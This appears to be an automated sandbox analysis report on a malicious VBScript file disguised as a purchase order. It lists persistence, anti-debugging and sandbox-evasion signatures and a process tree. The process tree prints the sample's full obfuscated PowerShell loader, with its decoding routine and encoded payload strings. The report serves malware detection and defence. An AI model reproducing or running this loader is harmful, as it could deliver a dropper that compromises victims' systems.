Analysis
- max time kernel
299s - max time network
197s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
22/06/2026, 00:15
General
- Target PO_PXN012034.vbs
- Size 95KB
- Sample260622-aj7bdaf13m
- SHA256 b4c879cb84c835ef64d9f45b78a69b9f08700ab35498f06d802c72af7428223e
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 38 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 38 IoCs
- Suspicious use of FindShellTrayWindow 53 IoCs
- Suspicious use of SendNotifyMessage 39 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_PXN012034.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'aede' 'udslyngninger' 'afstumpnings';function overflood ($contend,$sulfaprparatets) {$detaljeprojekt=afskrabes(@(113,196,208,218,218,212,224,209,162,206,221,225,219,150,139,192,214,205,210,199,223,228,221,214,222,198,230,206,226,218,118)) ;Aftvingelsers ($detaljeprojekt)}function afskrabes ($juleri) { $belysende=954-954;do {$juleri[$belysende] = $juleri[$belysende] - $purposivistic[$belysende%15];$bunkede+=[char]$juleri[$belysende];$belysende++} while ($juleri[$belysende])$bunkede}function Aftvingelsers ($proteststrejkerne) {&($creatinine) $proteststrejkerne}Function Kontaktformidlingen2 ($juleri,$misbuilds4=0){$tyvtede=afskrabes(@(113,212,196,222,207,223,230,167,233,222,198,213,221,215,214,187,198,198,222,207,221,217,170,208,175,212,224,223,211,217,193,190,155,166,172,225,225,218,183,205,216,215,159,162,186,193,211,202,218,205,151,150,215,234,216,202,228,210,151));Aftvingelsers ($tyvtede);For($quassation=0; $tractioneering[$quassation] -ne $wiselike; $quassation++){$tractioneering[$quassation] = overflood $tractioneering[$quassation] $purposivistic[$quassation%15]}$televisere=afskrabes(@(113,200,205,219,200,208,222,167,219,222,206,221,221,215,214,187,198,211,218,203,226,175,154,223,219,206,224,137,201,202,181,194,211,199,195,204,150,225,231,205,200,230,210,221,213,178,198,211,213,212,214));Aftvingelsers ($televisere);if ($misbuilds4) { Aftvingelsers $friktionernes}else {;$friktionernes}}$purposivistic=@(77,97,97,108,102,111,114,109,117,108,101,114,105,110,103);$creatinine=afskrabes @(150,166,185);$sygeplejeeleven='\Kosmopolitismes.Bod';$uberrtes=Kontaktformidlingen2 'eE9RTE44GwMRAxIBSSAzbVBRQlZUUjocAlNGUk4fe1VaTBQZSFxAXEtCQE4gKAIKA0ldQlxFXFRCWE4hJBMECgkXXVxAXEtC';$dampbageri=Kontaktformidlingen2 'JRUVHBVVXUIRHgwEDEAAIg4GAANBEQIYQxARVgsfPQ4TGFsLHRobAAoTDUgOKVxQQRcKBQwNJzcxByYNIgY+XCccPBgqQQ03OiE/Lj4EPTA=';$stjernemrkers=Kontaktformidlingen2 'cw==';Kontaktformidlingen2 'aQYNAwQOHlcXHgoWBwtaaQQPGlwOAh0RDRETQkoUNAYEHAoKGAgQAAAEDAA=' 1;Kontaktformidlingen2 'aQYNAwQOHlcGHAQVDBoTJBIVHgkfAggHAgABVEoDLAwRDgcIFx8cQhYCBQcTZUUSGAwKAAMQARcZDBwUZA==' 1;Kontaktformidlingen2 'Fi8EGEg8Fx8DBQYXOQEOIxUsDQgOFQgHMV9IOgsEOBMIGB8/AAIBAwYdBVNUfVZT' 1;$dampbageri=$spagettistroppernes[0];$kursndringen=(Kontaktformidlingen2 'aQYNAwQOHlcFDQYbBwlSdVwvCRFCPQ8fCQYGSSACOU82CQQsHgQQAhE=');Aftvingelsers ($kursndringen);Kontaktformidlingen2 'aREADw8BFVhNQi0XCAoCPxI6NygKBkM9GBECOwsWOAQSGC4KEwkQHjhGWTNaaRQDCRQdBggG' 1;$contendktionsplanens=Kontaktformidlingen2 'CQ4WAgoAEwkzBQkX';$laborious=Kontaktformidlingen2 'aREADw8BFVhNQkERBgATKA8FBxIGHQMGHAkTBwsJPk8oAhAAGQhdSAETBB4FLAYEHg9DVgkcHAoeCAATKA8PCU8=';$dipolantenne=$brodne;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1;while (!$omvendendes) {Kontaktformidlingen2 'aQYNAwQOHlczHgQQCwcTcEUVHhMK' 1;Aftvingelsers $laborious;Kontaktformidlingen2 'Hg0ECRZHRkQ=' 1;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1 ;Kontaktformidlingen2 'aQYNAwQOHlcXHgsWGhoIKwAHCw8JBggHUUEVBQEFLA1bGAcdAQgHAgBZQktDPhEACwMbBgQGGBcdGR4CPw8EH0gMHRgbGA==' 1;$dampbageri=$spagettistroppernes[$brndstofafgifter]}$endivie=150738;$lammets133=20453;Kontaktformidlingen2 'aQYNAwQOHlcSDQcQCA0MeldcCwVPVgkcHAoeCAATKA8PCQ==' 1;Kontaktformidlingen2 'aQYNAwQOHlczBQsVDBwXPwgPGAMLTzY2AwsEDBwTEFtbKhQAHy8UHwBEXT0TPwgPC05LFQwXDgQRAllRZA==' 1;Kontaktformidlingen2 'aQYNAwQOHlcGAwIcDBwGLAUEAgNSKTkQFBFcLAAEIgUIAgEySFc0PyY7IEAgKBUyGBQGHApdSCMbBwkCPxETBQgbFwlc' 1;Kontaktformidlingen2 'aQYNAwQOHlcAABwWAAkPKAVcSBUAFQMQHgQTDQsJKE8SGQQcBh8cAgJaTQsJKQgXBQNDVgEUAQgXHR1WflJI' 1;Aftvingelsers $ulydighed;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'aede' 'udslyngninger' 'afstumpnings';function overflood ($contend,$sulfaprparatets) {$detaljeprojekt=afskrabes(@(113,196,208,218,218,212,224,209,162,206,221,225,219,150,139,192,214,205,210,199,223,228,221,214,222,198,230,206,226,218,118)) ;Aftvingelsers ($detaljeprojekt)}function afskrabes ($juleri) { $belysende=954-954;do {$juleri[$belysende] = $juleri[$belysende] - $purposivistic[$belysende%15];$bunkede+=[char]$juleri[$belysende];$belysende++} while ($juleri[$belysende])$bunkede}function Aftvingelsers ($proteststrejkerne) {&($creatinine) $proteststrejkerne}Function Kontaktformidlingen2 ($juleri,$misbuilds4=0){$tyvtede=afskrabes(@(113,212,196,222,207,223,230,167,233,222,198,213,221,215,214,187,198,198,222,207,221,217,170,208,175,212,224,223,211,217,193,190,155,166,172,225,225,218,183,205,216,215,159,162,186,193,211,202,218,205,151,150,215,234,216,202,228,210,151));Aftvingelsers ($tyvtede);For($quassation=0; $tractioneering[$quassation] -ne $wiselike; $quassation++){$tractioneering[$quassation] = overflood $tractioneering[$quassation] $purposivistic[$quassation%15]}$televisere=afskrabes(@(113,200,205,219,200,208,222,167,219,222,206,221,221,215,214,187,198,211,218,203,226,175,154,223,219,206,224,137,201,202,181,194,211,199,195,204,150,225,231,205,200,230,210,221,213,178,198,211,213,212,214));Aftvingelsers ($televisere);if ($misbuilds4) { Aftvingelsers $friktionernes}else {;$friktionernes}}$purposivistic=@(77,97,97,108,102,111,114,109,117,108,101,114,105,110,103);$creatinine=afskrabes @(150,166,185);$sygeplejeeleven='\Kosmopolitismes.Bod';$uberrtes=Kontaktformidlingen2 'eE9RTE44GwMRAxIBSSAzbVBRQlZUUjocAlNGUk4fe1VaTBQZSFxAXEtCQE4gKAIKA0ldQlxFXFRCWE4hJBMECgkXXVxAXEtC';$dampbageri=Kontaktformidlingen2 'JRUVHBVVXUIRHgwEDEAAIg4GAANBEQIYQxARVgsfPQ4TGFsLHRobAAoTDUgOKVxQQRcKBQwNJzcxByYNIgY+XCccPBgqQQ03OiE/Lj4EPTA=';$stjernemrkers=Kontaktformidlingen2 'cw==';Kontaktformidlingen2 'aQYNAwQOHlcXHgoWBwtaaQQPGlwOAh0RDRETQkoUNAYEHAoKGAgQAAAEDAA=' 1;Kontaktformidlingen2 'aQYNAwQOHlcGHAQVDBoTJBIVHgkfAggHAgABVEoDLAwRDgcIFx8cQhYCBQcTZUUSGAwKAAMQARcZDBwUZA==' 1;Kontaktformidlingen2 'Fi8EGEg8Fx8DBQYXOQEOIxUsDQgOFQgHMV9IOgsEOBMIGB8/AAIBAwYdBVNUfVZT' 1;$dampbageri=$spagettistroppernes[0];$kursndringen=(Kontaktformidlingen2 'aQYNAwQOHlcFDQYbBwlSdVwvCRFCPQ8fCQYGSSACOU82CQQsHgQQAhE=');Aftvingelsers ($kursndringen);Kontaktformidlingen2 'aREADw8BFVhNQi0XCAoCPxI6NygKBkM9GBECOwsWOAQSGC4KEwkQHjhGWTNaaRQDCRQdBggG' 1;$contendktionsplanens=Kontaktformidlingen2 'CQ4WAgoAEwkzBQkX';$laborious=Kontaktformidlingen2 'aREADw8BFVhNQkERBgATKA8FBxIGHQMGHAkTBwsJPk8oAhAAGQhdSAETBB4FLAYEHg9DVgkcHAoeCAATKA8PCU8=';$dipolantenne=$brodne;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1;while (!$omvendendes) {Kontaktformidlingen2 'aQYNAwQOHlczHgQQCwcTcEUVHhMK' 1;Aftvingelsers $laborious;Kontaktformidlingen2 'Hg0ECRZHRkQ=' 1;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1 ;Kontaktformidlingen2 'aQYNAwQOHlcXHgsWGhoIKwAHCw8JBggHUUEVBQEFLA1bGAcdAQgHAgBZQktDPhEACwMbBgQGGBcdGR4CPw8EH0gMHRgbGA==' 1;$dampbageri=$spagettistroppernes[$brndstofafgifter]}$endivie=150738;$lammets133=20453;Kontaktformidlingen2 'aQYNAwQOHlcSDQcQCA0MeldcCwVPVgkcHAoeCAATKA8PCQ==' 1;Kontaktformidlingen2 'aQYNAwQOHlczBQsVDBwXPwgPGAMLTzY2AwsEDBwTEFtbKhQAHy8UHwBEXT0TPwgPC05LFQwXDgQRAllRZA==' 1;Kontaktformidlingen2 'aQYNAwQOHlcGAwIcDBwGLAUEAgNSKTkQFBFcLAAEIgUIAgEySFc0PyY7IEAgKBUyGBQGHApdSCMbBwkCPxETBQgbFwlc' 1;Kontaktformidlingen2 'aQYNAwQOHlcAABwWAAkPKAVcSBUAFQMQHgQTDQsJKE8SGQQcBh8cAgJaTQsJKQgXBQNDVgEUAQgXHR1WflJI' 1;Aftvingelsers $ulydighed;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
Kosmopolitismes.Bod
memory/1720-73-0x000001F782A50000-0x000001F782A70000-memory.dmp
memory/1720-82-0x000001F782E10000-0x000001F782E30000-memory.dmp
memory/1720-61-0x000001F7801E0000-0x000001F7802E0000-memory.dmp
memory/1720-75-0x000001F782E90000-0x000001F782F90000-memory.dmp
memory/1720-60-0x000001F7801E0000-0x000001F7802E0000-memory.dmp
memory/1720-106-0x000001F784210000-0x000001F784230000-memory.dmp
memory/2344-221-0x0000018D32170000-0x0000018D325A4000-memory.dmp
memory/5420-37-0x0000000008DB0000-0x000000000936A000-memory.dmp
memory/5420-32-0x0000000006E90000-0x0000000006EDC000-memory.dmp
memory/5420-39-0x0000000009370000-0x0000000009EB9000-memory.dmp
memory/5420-36-0x0000000007BB0000-0x0000000007BD2000-memory.dmp
memory/5420-35-0x0000000007C10000-0x0000000007CA6000-memory.dmp
memory/5420-34-0x0000000006E30000-0x0000000006E4A000-memory.dmp
memory/5420-33-0x0000000008170000-0x00000000087EC000-memory.dmp
memory/5420-22-0x0000000005440000-0x0000000005476000-memory.dmp
memory/5420-23-0x0000000005AD0000-0x000000000611A000-memory.dmp
memory/5420-24-0x0000000005A60000-0x0000000005A82000-memory.dmp
memory/5420-26-0x00000000063C0000-0x0000000006426000-memory.dmp
memory/5420-25-0x0000000006350000-0x00000000063B6000-memory.dmp
memory/5420-29-0x0000000006430000-0x000000000678B000-memory.dmp
memory/5420-31-0x0000000006920000-0x000000000693E000-memory.dmp
memory/5928-14-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-10-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-21-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-18-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-17-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-15-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-0-0x00007FFF2787F000-0x00007FFF27880000-memory.dmp
memory/5928-11-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-13-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-9-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-12-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-8-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-7-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-6-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-5-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-4-0x00007FFF276F0000-0x00007FFF28094000-memory.dmp
memory/5928-3-0x0000026F4A730000-0x0000026F4A752000-memory.dmp